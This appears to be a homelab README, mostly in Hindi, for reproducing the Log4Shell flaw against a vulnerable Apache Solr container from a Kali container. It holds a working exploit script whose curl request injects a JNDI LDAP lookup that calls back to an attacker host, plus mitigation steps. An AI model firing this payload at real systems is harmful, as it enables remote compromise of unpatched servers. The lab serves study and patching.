
Log4j Vulnerability homelab
Apache Solr में Log4Shell भेद्यता को पुन: उत्पन्न और अध्ययन करने के लिए Docker में नियंत्रित वातावरण।
solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) जो Log4j का एक भेद्य संस्करण चला रहा है।kali-lab): बुनियादी Kali Linux कंटेनर जिसमें nmap, curl और netcat पूर्व-स्थापित हैं।अपने टर्मिनल में, वातावरण को पृष्ठभूमि में चलाएं:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
Kali कंटेनर के अंदर, अपनी स्वयं की उप-नेट का पता लगाएं और Apache Solr का IP खोजें:
# 1. अपना IP और नेटवर्क मास्क देखें
hostname -I
# 2. लक्ष्य का IP खोजने के लिए आंतरिक नेटवर्क को स्कैन करें (Solr पोर्ट: 8983)
# (नीचे दी गई subnet को उस IP के अनुसार बदलें जो आपने पिछले कमांड में प्राप्त किया था)
nmap -p 8983 172.20.0.0/24
स्क्रिप्ट poc.sh Solr के प्रशासन API पैरामीटर में JNDI लुकअप पेलोड इंजेक्ट करती है।
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "Uso: $0 <lhost> <rhost> [lport]"
echo "Exemplo: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] Alvo: $TARGET"
echo "[*] Atacante (LDAP): $KALI na porta $PORT_KALI"
echo "[*] Disparando exploit..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
Kali के अंदर ही, स्क्रिप्ट को अनुमति दें और सही IP देते हुए इसे चलाएं:
chmod +x poc.sh
./poc.sh <IP_DO_KALI> <IP_DO_SOLR> 1389
यहाँ क्या होता है? Solr अनुरोध को प्रोसेस करेगा और निर्दिष्ट पोर्ट पर Kali IP पर वापस LDAP कनेक्शन खोलने का प्रयास करेगा। आप स्क्रिप्ट चलाने से पहले Kali पर एक त्वरित listener खोलकर (जैसे
nc -lnvp 1389) इस कनेक्शन प्रयास को मॉनिटर कर सकते हैं।
Log4j 2 में दोष को ठीक करने के लिए:
2.15.0 या 2.17.1 से ऊपर) में स्थानांतरित करें।-Dlog4j2.formatMsgNoLookups=true जोड़कर लुकअप को निष्क्रिय करें।zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class